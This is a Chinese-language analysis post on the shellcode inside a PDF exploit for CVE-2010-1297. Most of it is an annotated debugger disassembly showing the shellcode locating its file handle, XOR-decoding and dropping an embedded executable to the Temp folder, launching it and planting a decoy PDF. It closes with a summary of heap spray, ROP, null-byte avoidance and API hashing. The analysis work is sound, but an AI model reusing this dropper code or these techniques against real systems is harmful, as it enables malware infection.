033e034d 89bd38feffff    mov     dword ptr [ebp-1C8h],edi
033e0353 6880000000      push    offset <Unloaded_.dll>+0x7f (00000080)
033e0358 8d8d50feffff    lea     ecx,[ebp-1B0h]
033e035e 51              push    ecx
033e035f 6a00            push    0
033e0361 ff55d0          call    dword ptr [ebp-30h]
//调用GetModuleFileNameA
033e0364 6a00            push    0
033e0366 8b55bc          mov     edx,dword ptr [ebp-44h]
033e0369 52              push    edx
033e036a ff55d4          call    dword ptr [ebp-2Ch]
//调用GetFileSize
033e036d 39854cfeffff    cmp     dword ptr [ebp-1B4h],eax
033e0373 7406            je      <Unloaded_.dll>+0x33e037a (033e037b)
033e0375 8345bc04        add     dword ptr [ebp-44h],4
033e0379 ebe9            jmp     <Unloaded_.dll>+0x33e0363 (033e0364)
033e037b 6a00            push    0
033e037d 6a00            push    0
033e037f 8b853cfeffff    mov     eax,dword ptr [ebp-1C4h]
033e0385 50              push    eax
033e0386 8b4dbc          mov     ecx,dword ptr [ebp-44h]
033e0389 51              push    ecx
033e038a ff55d8          call    dword ptr [ebp-28h]
//setFilePointer
033e038d 8d9524ffffff    lea     edx,[ebp-0DCh]
033e0393 52              push    edx
033e0394 8b45ac          mov     eax,dword ptr [ebp-54h]
033e0397 50              push    eax
033e0398 ff55f0          call    dword ptr [ebp-10h]
//GetTempPathA
033e039b 8dbd24ffffff    lea     edi,[ebp-0DCh]
033e03a1 4f              dec     edi
033e03a2 47              inc     edi
033e03a3 803f00          cmp     byte ptr [edi],0
033e03a6 75fa            jne     <Unloaded_.dll>+0x33e03a1 (033e03a2)
033e03a8 8db524faffff    lea     esi,[ebp-5DCh]
033e03ae b90c000000      mov     ecx,offset <Unloaded_.dll>+0xb (0000000c)
033e03b3 f2a4            repne movs byte ptr es:[edi],byte ptr [esi]
//将Update.exe附加在Temp文件夹路径后面创建文件
033e03b5 6a00            push    0
033e03b7 6880000000      push    offset <Unloaded_.dll>+0x7f (00000080)
033e03bc 6a02            push    2
033e03be 6a00            push    0
033e03c0 6a02            push    2
033e03c2 68000000c0      push    0C0000000h
033e03c7 8d8d24ffffff    lea     ecx,[ebp-0DCh]
033e03cd 51              push    ecx
033e03ce ff55dc          call    dword ptr [ebp-24h]
//调用CreateFileA创建恶意文件
033e03d1 8945c4          mov     dword ptr [ebp-3Ch],eax
033e03d4 c78534feffff00000000 mov dword ptr [ebp-1CCh],0
033e03de 8b9548feffff    mov     edx,dword ptr [ebp-1B8h]
033e03e4 8955a4          mov     dword ptr [ebp-5Ch],edx
033e03e7 8b8548feffff    mov     eax,dword ptr [ebp-1B8h]
033e03ed c1e80a          shr     eax,0Ah
033e03f0 398534feffff    cmp     dword ptr [ebp-1CCh],eax
033e03f6 0f8383000000    jae     <Unloaded_.dll>+0x33e047e (033e047f)
033e03fc 6a00            push    0
033e03fe 8d4db4          lea     ecx,[ebp-4Ch]
033e0401 51              push    ecx
033e0402 6800040000      push    offset <Unloaded_.dll>+0x3ff (00000400)
033e0407 8d9534faffff    lea     edx,[ebp-5CCh]
033e040d 52              push    edx
033e040e 8b45bc          mov     eax,dword ptr [ebp-44h]
033e0411 50              push    eax
033e0412 ff55e0         call    dword ptr [ebp-20h]  ss:0023:0c0c0554={kernel32!ReadFile (7c801812)}  //读取POC中嵌入的恶意程序内容
033e0415 c745a800000000  mov     dword ptr [ebp-58h],0
033e041c eb09            jmp     <Unloaded_.dll>+0x33e0426 (033e0427)
033e041e 8b4da8          mov     ecx,dword ptr [ebp-58h]
033e0421 83c101          add     ecx,1
033e0424 894da8          mov     dword ptr [ebp-58h],ecx
033e0427 817da800040000  cmp     dword ptr [ebp-58h],offset <Unloaded_.dll>+0x3ff (00000400)
033e042e 7323            jae     <Unloaded_.dll>+0x33e0452 (033e0453)
033e0430 8b55a8          mov     edx,dword ptr [ebp-58h]
033e0433 0fbe841534faffff movsx   eax,byte ptr [ebp+edx-5CCh]
033e043b 3345a4          xor     eax,dword ptr [ebp-5Ch]
033e043e 8b4da8          mov     ecx,dword ptr [ebp-58h]
033e0441 88840d34faffff  mov     byte ptr [ebp+ecx-5CCh],al
033e0448 8b55a4          mov     edx,dword ptr [ebp-5Ch]
033e044b 83ea01          sub     edx,1
033e044e 8955a4          mov     dword ptr [ebp-5Ch],edx
033e0451 ebcb            jmp     <Unloaded_.dll>+0x33e041d (033e041e)
033e0453 6a00            push    0
033e0455 8d45b0          lea     eax,[ebp-50h]
033e0458 50              push    eax
033e0459 8b4db4          mov     ecx,dword ptr [ebp-4Ch]
033e045c 51              push    ecx
033e045d 8d9534faffff    lea     edx,[ebp-5CCh]
033e0463 52              push    edx
033e0464 8b45c4          mov     eax,dword ptr [ebp-3Ch]
033e0467 50              push    eax
033e0468 ff55e4      call    dword ptr [ebp-1Ch]  ss:0023:0c0c0558={kernel32!WriteFile (7c810e17)}  //调用WriteFile写入恶意文件
033e046b 8b8d34feffff    mov     ecx,dword ptr [ebp-1CCh]
033e0471 83c101          add     ecx,1
033e0474 898d34feffff    mov     dword ptr [ebp-1CCh],ecx
033e047a e968ffffff      jmp     <Unloaded_.dll>+0x33e03e6 (033e03e7)
033e047f 8b9534feffff    mov     edx,dword ptr [ebp-1CCh]
033e0485 c1e20a          shl     edx,0Ah
033e0488 8b8548feffff    mov     eax,dword ptr [ebp-1B8h]
033e048e 2bc2            sub     eax,edx
033e0490 85c0            test    eax,eax
033e0492 0f8489000000    je      <Unloaded_.dll>+0x33e0520 (033e0521)
033e0498 6a00            push    0
033e049a 8d4db4          lea     ecx,[ebp-4Ch]
033e049d 51              push    ecx
033e049e 8b9534feffff    mov     edx,dword ptr [ebp-1CCh]
033e04a4 c1e20a          shl     edx,0Ah
033e04a7 8b8548feffff    mov     eax,dword ptr [ebp-1B8h]
033e04ad 2bc2            sub     eax,edx
033e04af 50              push    eax
033e04b0 8d8d34faffff    lea     ecx,[ebp-5CCh]
033e04b6 51              push    ecx
033e04b7 8b55bc          mov     edx,dword ptr [ebp-44h]
033e04ba 52              push    edx
033e04bb ff55e0          call    dword ptr [ebp-20h]
033e04be c745a800000000  mov     dword ptr [ebp-58h],0
033e04c5 eb09            jmp     <Unloaded_.dll>+0x33e04cf (033e04d0)
033e04c7 8b45a8          mov     eax,dword ptr [ebp-58h]
033e04ca 83c001          add     eax,1
033e04cd 8945a8          mov     dword ptr [ebp-58h],eax
033e04d0 8b8d34feffff    mov     ecx,dword ptr [ebp-1CCh]
033e04d6 c1e10a          shl     ecx,0Ah
033e04d9 8b9548feffff    mov     edx,dword ptr [ebp-1B8h]
033e04df 2bd1            sub     edx,ecx
033e04e1 3955a8          cmp     dword ptr [ebp-58h],edx
033e04e4 7323            jae     <Unloaded_.dll>+0x33e0508 (033e0509)
033e04e6 8b45a8          mov     eax,dword ptr [ebp-58h]
033e04e9 0fbe8c0534faffff movsx   ecx,byte ptr [ebp+eax-5CCh]
033e04f1 334da4          xor     ecx,dword ptr [ebp-5Ch]
033e04f4 8b55a8          mov     edx,dword ptr [ebp-58h]
033e04f7 888c1534faffff  mov     byte ptr [ebp+edx-5CCh],cl
033e04fe 8b45a4          mov     eax,dword ptr [ebp-5Ch]
033e0501 83e801          sub     eax,1
033e0504 8945a4          mov     dword ptr [ebp-5Ch],eax
033e0507 ebbe            jmp     <Unloaded_.dll>+0x33e04c6 (033e04c7)
033e0509 6a00            push    0
033e050b 8d4db0          lea     ecx,[ebp-50h]
033e050e 51              push    ecx
033e050f 8b55b4          mov     edx,dword ptr [ebp-4Ch]
033e0512 52              push    edx
033e0513 8d8534faffff    lea     eax,[ebp-5CCh]
033e0519 50              push    eax
033e051a 8b4dc4          mov     ecx,dword ptr [ebp-3Ch]
033e051d 51              push    ecx
033e051e ff55e4          call    dword ptr [ebp-1Ch]
033e0521 8b55c4          mov     edx,dword ptr [ebp-3Ch]
033e0524 52              push    edx
033e0525 ff55e8     call    dword ptr [ebp-18h]  ss:0023:0c0c055c={kernel32!CloseHandle (7c809bd7)} //关闭文件句柄
033e0528 6a00            push    0
033e052a 8d8524ffffff    lea     eax,[ebp-0DCh]
033e0530 50              push    eax
033e0531 ff55ec          call    dword ptr [ebp-14h]
//WinExec,执行的文件路径如下:
0:000> da poi(esp)
0c0c0498  "C:\DOCUME~1\fxh\LOCALS~1\Temp\Up"
0c0c04b8  "dater.exe"
033e0534 8d8d24ffffff    lea     ecx,[ebp-0DCh]
033e053a 51              push    ecx
033e053b 8b55ac          mov     edx,dword ptr [ebp-54h]
033e053e 52              push    edx
033e053f ff55f0          call    dword ptr [ebp-10h]
//继续获取GetTempPathA
033e0542 8dbd24ffffff    lea     edi,[ebp-0DCh]
033e0548 4f              dec     edi
033e0549 47              inc     edi
033e054a 803f00          cmp     byte ptr [edi],0
033e054d 75fa            jne     <Unloaded_.dll>+0x33e0548 (033e0549)
033e054f 8bb538feffff    mov     esi,dword ptr [ebp-1C8h]
033e0555 8b8d40feffff    mov     ecx,dword ptr [ebp-1C0h]
033e055b f2a4            repne movs byte ptr es:[edi],byte ptr [esi]
//在Temp路径后面附加上g81.pdf
0:000> da 033e07e4
033e07e4  "g81.pdf"
033e055d 6a00            push    0
033e055f 6a00            push    0
033e0561 8b853cfeffff    mov     eax,dword ptr [ebp-1C4h]
033e0567 038548feffff    add     eax,dword ptr [ebp-1B8h]
033e056d 50              push    eax
033e056e 8b4dbc          mov     ecx,dword ptr [ebp-44h]
033e0571 51              push    ecx
033e0572 ff55d8  call    dword ptr [ebp-28h]  ss:0023:0c0c054c={kernel32!SetFilePointer (7c810c1e)}
033e0575 6a00            push    0
033e0577 6880000000      push    offset <Unloaded_.dll>+0x7f (00000080)
033e057c 6a02            push    2
033e057e 6a00            push    0
033e0580 6a02            push    2
033e0582 68000000c0      push    0C0000000h
033e0587 8d9524ffffff    lea     edx,[ebp-0DCh]
033e058d 52              push    edx
033e058e ff55dc          call    dword ptr [ebp-24h]
//调用CreateFileA创建g81.pdf文件
033e0591 8945c0          mov     dword ptr [ebp-40h],eax
033e0594 c78534feffff00000000 mov dword ptr [ebp-1CCh],0
033e059e 8b8544feffff    mov     eax,dword ptr [ebp-1BCh]
033e05a4 c1e80a          shr     eax,0Ah
033e05a7 398534feffff    cmp     dword ptr [ebp-1CCh],eax
033e05ad 737a            jae     <Unloaded_.dll>+0x33e0628 (033e0629)
033e05af 6a00            push    0
033e05b1 8d4db4          lea     ecx,[ebp-4Ch]
033e05b4 51              push    ecx
033e05b5 6800040000      push    offset <Unloaded_.dll>+0x3ff (00000400)
033e05ba 8d9534faffff    lea     edx,[ebp-5CCh]
033e05c0 52              push    edx
033e05c1 8b45bc          mov     eax,dword ptr [ebp-44h]
033e05c4 50              push    eax
033e05c5 ff55e0  call    dword ptr [ebp-20h]  ss:0023:0c0c0554={kernel32!ReadFile (7c801812)}  //读取POC中的文件内容
033e05c8 c745a800000000  mov     dword ptr [ebp-58h],0
033e05cf eb09            jmp     <Unloaded_.dll>+0x33e05d9 (033e05da)
033e05d1 8b4da8          mov     ecx,dword ptr [ebp-58h]
033e05d4 83c101          add     ecx,1
033e05d7 894da8          mov     dword ptr [ebp-58h],ecx
033e05da 817da800040000  cmp     dword ptr [ebp-58h],offset <Unloaded_.dll>+0x3ff (00000400)
033e05e1 731a            jae     <Unloaded_.dll>+0x33e05fc (033e05fd)
033e05e3 8b55a8          mov     edx,dword ptr [ebp-58h]
033e05e6 0fbe841534faffff movsx   eax,byte ptr [ebp+edx-5CCh]
033e05ee 83f077          xor     eax,77h
033e05f1 8b4da8          mov     ecx,dword ptr [ebp-58h]
033e05f4 88840d34faffff  mov     byte ptr [ebp+ecx-5CCh],al
033e05fb ebd4            jmp     <Unloaded_.dll>+0x33e05d0 (033e05d1)
033e05fd 6a00            push    0
033e05ff 8d55b0          lea     edx,[ebp-50h]
033e0602 52              push    edx
033e0603 8b45b4          mov     eax,dword ptr [ebp-4Ch]
033e0606 50              push    eax
033e0607 8d8d34faffff    lea     ecx,[ebp-5CCh]
033e060d 51              push    ecx
033e060e 8b55c0          mov     edx,dword ptr [ebp-40h]
033e0611 52              push    edx
033e0612 ff55e4          call    dword ptr [ebp-1Ch]
//调用WriteFile写入g81.pdf文件
033e0615 8b8534feffff    mov     eax,dword ptr [ebp-1CCh]
033e061b 83c001          add     eax,1
033e061e 898534feffff    mov     dword ptr [ebp-1CCh],eax
033e0624 e975ffffff      jmp     <Unloaded_.dll>+0x33e059d (033e059e)
033e0629 8b8d34feffff    mov     ecx,dword ptr [ebp-1CCh]
033e062f c1e10a          shl     ecx,0Ah
033e0632 8b9544feffff    mov     edx,dword ptr [ebp-1BCh]
033e0638 2bd1            sub     edx,ecx
033e063a 85d2            test    edx,edx
033e063c 0f8480000000    je      <Unloaded_.dll>+0x33e06c1 (033e06c2)
033e0642 6a00            push    0
033e0644 8d45b4          lea     eax,[ebp-4Ch]
033e0647 50              push    eax
033e0648 8b8d34feffff    mov     ecx,dword ptr [ebp-1CCh]
033e064e c1e10a          shl     ecx,0Ah
033e0651 8b9544feffff    mov     edx,dword ptr [ebp-1BCh]
033e0657 2bd1            sub     edx,ecx
033e0659 52              push    edx
033e065a 8d8534faffff    lea     eax,[ebp-5CCh]
033e0660 50              push    eax
033e0661 8b4dbc          mov     ecx,dword ptr [ebp-44h]
033e0664 51              push    ecx
033e0665 ff55e0          call    dword ptr [ebp-20h]
//调用ReadFile继续读取POC中的文件
033e0668 c745a800000000  mov     dword ptr [ebp-58h],0
033e066f eb09            jmp     <Unloaded_.dll>+0x33e0679 (033e067a)
033e0671 8b55a8          mov     edx,dword ptr [ebp-58h]
033e0674 83c201          add     edx,1
033e0677 8955a8          mov     dword ptr [ebp-58h],edx
033e067a 8b8534feffff    mov     eax,dword ptr [ebp-1CCh]
033e0680 c1e00a          shl     eax,0Ah
033e0683 8b8d44feffff    mov     ecx,dword ptr [ebp-1BCh]
033e0689 2bc8            sub     ecx,eax
033e068b 394da8          cmp     dword ptr [ebp-58h],ecx
033e068e 731a            jae     <Unloaded_.dll>+0x33e06a9 (033e06aa)
033e0690 8b55a8          mov     edx,dword ptr [ebp-58h]
033e0693 0fbe841534faffff movsx   eax,byte ptr [ebp+edx-5CCh]
033e069b 83f077          xor     eax,77h
033e069e 8b4da8          mov     ecx,dword ptr [ebp-58h]
033e06a1 88840d34faffff  mov     byte ptr [ebp+ecx-5CCh],al
033e06a8 ebc7            jmp     <Unloaded_.dll>+0x33e0670 (033e0671)
033e06aa 6a00            push    0
033e06ac 8d55b0          lea     edx,[ebp-50h]
033e06af 52              push    edx
033e06b0 8b45b4          mov     eax,dword ptr [ebp-4Ch]
033e06b3 50              push    eax
033e06b4 8d8d34faffff    lea     ecx,[ebp-5CCh]
033e06ba 51              push    ecx
033e06bb 8b55c0          mov     edx,dword ptr [ebp-40h]
033e06be 52              push    edx
033e06bf ff55e4     call    dword ptr [ebp-1Ch]  ss:0023:0c0c0558={kernel32!WriteFile (7c810e17)}  //调用WriteFile继续写文件
033e06c2 8b45c0          mov     eax,dword ptr [ebp-40h]
033e06c5 50              push    eax
033e06c6 ff55e8          call    dword ptr [ebp-18h]
//关闭文件句柄,调用CloseHandle
033e06c9 8dbde0feffff    lea     edi,[ebp-120h]
033e06cf 33c0            xor     eax,eax
033e06d1 b911000000      mov     ecx,offset <Unloaded_.dll>+0x10 (00000011)
033e06d6 f2ab            repne stos dword ptr es:[edi]
033e06d8 8dbd50feffff    lea     edi,[ebp-1B0h]
033e06de 4f              dec     edi
033e06df 47              inc     edi
033e06e0 803f00          cmp     byte ptr [edi],0
033e06e3 75fa            jne     <Unloaded_.dll>+0x33e06de (033e06df)
033e06e5 800720          add     byte ptr [edi],20h
033e06e8 47              inc     edi
033e06e9 c60722          mov     byte ptr [edi],22h
033e06ec 8db524ffffff    lea     esi,[ebp-0DCh]
033e06f2 4e              dec     esi
033e06f3 47              inc     edi
033e06f4 46              inc     esi
033e06f5 8a1e            mov     bl,byte ptr [esi]
033e06f7 881f            mov     byte ptr [edi],bl
033e06f9 803e00          cmp     byte ptr [esi],0
033e06fc 75f5            jne     <Unloaded_.dll>+0x33e06f2 (033e06f3)
033e06fe c60722          mov     byte ptr [edi],22h
033e0701 47              inc     edi
033e0702 c60700          mov     byte ptr [edi],0
033e0705 8d8dd0feffff    lea     ecx,[ebp-130h]
033e070b 51              push    ecx
033e070c 8d95e0feffff    lea     edx,[ebp-120h]
033e0712 52              push    edx
033e0713 6a00            push    0
033e0715 6a00            push    0
033e0717 6a00            push    0
033e0719 6a00            push    0
033e071b 6a00            push    0
033e071d 6a00            push    0
033e071f 8d8550feffff    lea     eax,[ebp-1B0h]
033e0725 50              push    eax
033e0726 6a00            push    0
033e0728 ff55f4  call    dword ptr [ebp-0Ch]  ss:0023:0c0c0568={kernel32!CreateProcessA (7c80236b)} 调用CreateProcessA创建恶意进程,进程名和Adobe的进程名相同
033e072b ff55f8          call    dword ptr [ebp-8]
//调用GetCurrentProcess,获取当前进程的句柄
033e072e 8945b8          mov     dword ptr [ebp-48h],eax
033e0731 6a00            push    0
033e0733 8b4db8          mov     ecx,dword ptr [ebp-48h]
033e0736 51              push    ecx
033e0737 ff55fc          call    dword ptr [ebp-4]
//调用TerminateProcess终止当前进程
033e073a 51              push    ecx
033e073b 56              push    esi
033e073c 8b733c          mov     esi,dword ptr [ebx+3Ch]
033e073f 8b741e78        mov     esi,dword ptr [esi+ebx+78h]
033e0743 03f3            add     esi,ebx
033e0745 56              push    esi
033e0746 8b7620          mov     esi,dword ptr [esi+20h]
033e0749 03f3            add     esi,ebx
033e074b 33c9            xor     ecx,ecx
033e074d 53              push    ebx
033e074e 49              dec     ecx
033e074f 41              inc     ecx
033e0750 ad              lods    dword ptr [esi]
二、分析总结
1、本部分介绍下第一个阶段的shellcode。
    第一个阶段的shellcode其实并不是真正意义上的shellcode,从上面的堆栈中的某些数据可以看到大量的类似0x0c0c0c0c附近的值。接触过flash的漏洞的人大概都可以猜到这个POC利用的大概就是Heap Spray即堆喷射技术了。
没错,这个POC使用的就是堆喷射技术将第一个阶段的shellcode在内存中大量、重复的布置好。然后通过精心构造栈数据,利用ROP控制了程序的流程。
第一段shellcode,也就是一些使用ROP的数据首先调用native api NtAllocateVirtualMemory来分配了上述大小0x1000,属性可写可读可执行的内存区间,并且将第二阶段的shellcode拷贝至新分配的内存,然后将程序执行权交给第二阶段的shellcode.
关于ROP以及相关的技术的介绍,请参考看雪最近翻译的Exploit教程。
2、shellcode的总结
   这个shellcode的编写涉及到了如下的问题:
  如何规避shellcode中存在null字节而导致拷贝终止的问题。
  如何获取Kernel32基址
  如何动态获得所需要的API函数地址
  如何在当前进程中获得所需要的POC文件的句柄,以获取POC文件内嵌入的恶意程序

问题1:
对于规避null字节的方法就很多了,主要就是对shellcode中的null字符进行处理,然后再运行过程中动态进行还原。针对shellcode的影响范围不同,有两种做法:对null字节进行特殊处理和对全部的shellcode进行处理。
对null字节的特殊处理,主要就是对null自己进行替换,并生成额外的指令用于在运行过程中动态的还原。
对全部的shellcode进行处理即可以采取对全部shellcode进行加密,然后生成额外的解密字节,并先于shellcode运行,然后动态解密后将程序的控制权交还给解密的shellcode即可。
上面的shellcode中就是使用了简单加密的方法来规避null字节的,详见Code_index2。
问题2:
获取kernel32.dll基址的方法流行的有三种:
第一种就是根据线程初始化的时候,堆栈指针esp指向Kernel32.dll中的ExitProcess函数,根据这个特点暴力搜索获得kernel32.dll的基地址。
第二种就是根据异常处理SHE的链末尾的异常处理程序地址是位于kernel32.dll中的,通过这个地址可以暴力搜索获得kernel32.dll的基地址。
第三种就是根据TEB中的相关信息,来获得系统在此处登记的系统动态链接库信息,里面包括了kernel32.dll的信息以及其基地址。

这段shellcode就是通过第三种方法来获取kernel32.dll的基地址的,详见Code_index4。
问题3:

既然已经获得了kernel32.dll的基地址,那么由于我们常使用的API即是其中的导出函数,我们只要解析PE文件的格式,定位导入表,然后根据导出名字表和自己的查找的函数名进行比对,并在相应序号的导出地址表中找到真实的函数地址。

当然,通常为了减小shellcode的体积,会对函数名进行hash,然后将导出名字表中的函数名进行hash,然后将两者进行比较来确定是否是我们需要的函数。

上述的shellcode即是根据这个特点进行的,详见Code_index5.

问题4:
Shellcode执行的时候,可以确定的是POC文件已经打开了,我们需要做的就是确定这个POC文件的句柄,并根据找到的句柄值在POC特定的位置找到恶意程序的内容,然后读取该内容并写入新创建的文件。随后,运行动态生成的文件来完成一些恶意的功能。
如何确定POC文件的句柄呢?我们可以采用尝试的办法,即首先假设一个句柄值(32位值),可以从整数1开始递增,然后调用文件操作函数来尝试操作这个文件,可以是ReadFile、WriteFile、GetFileSize、SetFilePointer等函数,然后根据返回的结果来确定我们指定的句柄值是否真正的代表着某个被打开的文件。
如果成功,则表示句柄所代表的文件存在。当然,这个文件可能并不是我们所查找的POC文件的句柄值。这个时候我们就需要返回递增句柄值然后继续查找。
如果失败,表示指定的句柄并没有关联的文件。递增句柄值,继续查找。

根据上述的过程,最终可以找到我们所需要的文件句柄值。

上述的shellcode即是采用了GetFileSize+SetFilePointer+ReadFile,然后根据读取的内容是否是PDF文件的特征头来确定POC文件的。见Data_index3后面的Code_index4中的后续部分。

至此,整个shellcode分析完毕,分析过程有侧重,重点分析了shellcode中使用的技巧。本人新手,所以错误难免,欢迎批评交流指正!

下面是word版的文章,看起来好看点,在后面就是POC文件,漏洞的相关信息google即可。
上传的附件 poc.rar
CVE-2010-1297shellcode简析.doc